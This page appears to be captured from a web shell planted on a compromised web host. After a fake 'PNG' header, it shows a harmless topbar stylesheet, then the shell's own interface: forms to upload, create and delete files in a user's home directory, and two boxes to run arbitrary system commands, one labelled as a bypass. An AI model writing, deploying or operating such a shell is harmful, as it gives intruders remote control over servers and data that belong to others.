PNG %k25u25%fgd5n! <div class='alert alert-info'><strong>/home/mkuwqnjx/www/src/assets/scss/structure/_topbar.scss</strong></div><pre class='file-content'>.topbar {
    height: var(--#{$prefix}topbar-height);
    width: calc(100% - var(--#{$prefix}startbar-width));
    margin-left: auto;
    position: fixed;
    right: 0;
    top: 0;
    left: 0;
    z-index: 1000;
    transition: 0.3s;
    .topbar-custom {
        background-color: var(--#{$prefix}topbar-bg);
        transition: 0.3s;
        padding: 0 $card-spacer-x;
        margin: 0 8px;
        box-shadow: $topbar-box-shadow;
        border-radius: 0 0 $border-radius $border-radius;
        &amp;:last-child ul {
            li:last-child {
                .nav-icon {
                    margin-right: 0;
                    transition: 0.3s;
                }
            }
        }
        .topbar-item {
            height: var(--#{$prefix}topbar-height);
            display: flex;
            align-items: center;
            transition: 0.3s;
        }
        .nav-link {
            margin: 0 6px;
            &amp;.mobile-menu-btn {
                margin-left: 0;
                transition: 0.3s;
            }
            &amp;.nav-icon {
                width: 42px;
                height: 42px;
                display: flex;
                justify-content: center;
                align-items: center;
                border: 1px solid var(--#{$prefix}topbar-b-border-color);
                border-radius: 8px;
                i {
                    font-size: 20px;
                    padding-bottom: 2px;
                    color: var(--#{$prefix}topbar-nav-icon-color);
                }
            }
        }
    }
    .app-search {
        position: relative;
        margin: 0;
        form {
            position: relative;
            z-index: 1;
            .form-control,
            .form-control:focus {
                border: 1px solid var(--#{$prefix}topbar-b-border-color);
                font-size: 13px;
                height: 42px;
                // color: $header-search-color;
                background: var(--bs-topbar-bg);
                width: 300px;
                border-radius: 8px;
                padding-left: 48px;
                margin: 0 8px;
            }
            button {
                position: absolute;
                width: 30px;
                height: 30px;
                left: 16px;
                top: 50%;
                font-size: 22px;
                transform: translateY(-50%);
                border: none;
                text-align: center;
                background-color: transparent;
                color: var(--#{$prefix}topbar-nav-icon-color);
                i {
                    display: flex;
                }
                &amp;:focus {
                    outline: none;
                }
            }
        }

        ::placeholder {
            color: var(--#{$prefix}topbar-nav-icon-color);
            font-weight: 400;
        }

        input.form-control:-moz-placeholder {
            color: var(--#{$prefix}topbar-nav-icon-color);
        }

        input.form-control::-moz-placeholder {
            color: var(--#{$prefix}topbar-nav-icon-color);
        }

        input.form-control:-ms-input-placeholder {
            color: var(--#{$prefix}topbar-nav-icon-color);
        }
    }
}

html[data-bs-theme=&quot;dark&quot;]{
    .topbar {
        .topbar-custom {
            .nav-link{
                &amp;.nav-icon{
                    .light-mode{
                        display: none;
                    }
                    .dark-mode{
                        display: inline-block;
                    }
                }
            }
        }
    }
}

html[data-bs-theme=&quot;light&quot;]{
    .topbar {
        .topbar-custom {
            .nav-link{
                &amp;.nav-icon{
                    .light-mode{
                        display: inline-block;
                    }
                    .dark-mode{
                        display: none;
                    }
                }
            }
        }
    }
}

@media (min-width: 1023.98px) {
    body[data-sidebar-size=&quot;collapsed&quot;] .topbar {
        width: calc(100% - var(--#{$prefix}startbar-collapsed-width));
    }
    .welcome-text {
        display: inline-block;
    }
}
@media (max-width: 1024px) {
    body[data-sidebar-size=&quot;collapsed&quot;],
    body[data-sidebar-size=&quot;default&quot;] {
        .topbar {
            width: 100%;
        }
    }
    .welcome-text {
        display: none;
    }
}
@media (max-width: 767.98px) {
    .hide-phone {
        display: none !important;
    }
    .topbar {
        .topbar-custom {
            .nav-link {
                margin: 0 4px;
            }
        }
    }
}

@media (max-width: 380px) {
    .topbar {
        .topbar-custom {
            margin: 0;
        }
    }
}

.dropdown-icon-item {
    display: block;
    border-radius: 3px;
    line-height: 36px;
    text-align: center;
    padding: 16px 0 8px;
    border: 1px solid transparent;
    color: var(--#{$prefix}body-color);
    img {
        height: 36px;
    }
    span {
        display: block;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap;
        font-size: 13px;
    }
    &amp;:hover {
        background-color: $startbar-bg;
    }
}
</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/mkuwqnjx/www/src/assets/scss/structure">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/mkuwqnjx/www/src/assets/scss/structure" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Fmkuwqnjx">mkuwqnjx</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fwww">www</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc">src</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc%2Fassets">assets</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc%2Fassets%2Fscss">scss</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc%2Fassets%2Fscss%2Fstructure">structure</a></div>
  <ul>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc%2Fassets%2Fscss%2Fstructure&view_file=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc%2Fassets%2Fscss%2Fstructure%2F_footer.scss"> _footer.scss</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/mkuwqnjx/www/src/assets/scss/structure/_footer.scss">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc%2Fassets%2Fscss%2Fstructure&view_file=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc%2Fassets%2Fscss%2Fstructure%2F_startbar.scss"> _startbar.scss</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/mkuwqnjx/www/src/assets/scss/structure/_startbar.scss">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc%2Fassets%2Fscss%2Fstructure&view_file=%2Fhome%2Fmkuwqnjx%2Fwww%2Fsrc%2Fassets%2Fscss%2Fstructure%2F_topbar.scss"> _topbar.scss</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/mkuwqnjx/www/src/assets/scss/structure/_topbar.scss">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
      </ul>
<script>
document.addEventListener('DOMContentLoaded', () => {
  document.querySelectorAll('.result-box').forEach(t => {
    t.style.height = 'auto';
    t.style.height = t.scrollHeight + 'px';
  });
});
</script>
</body>
</html>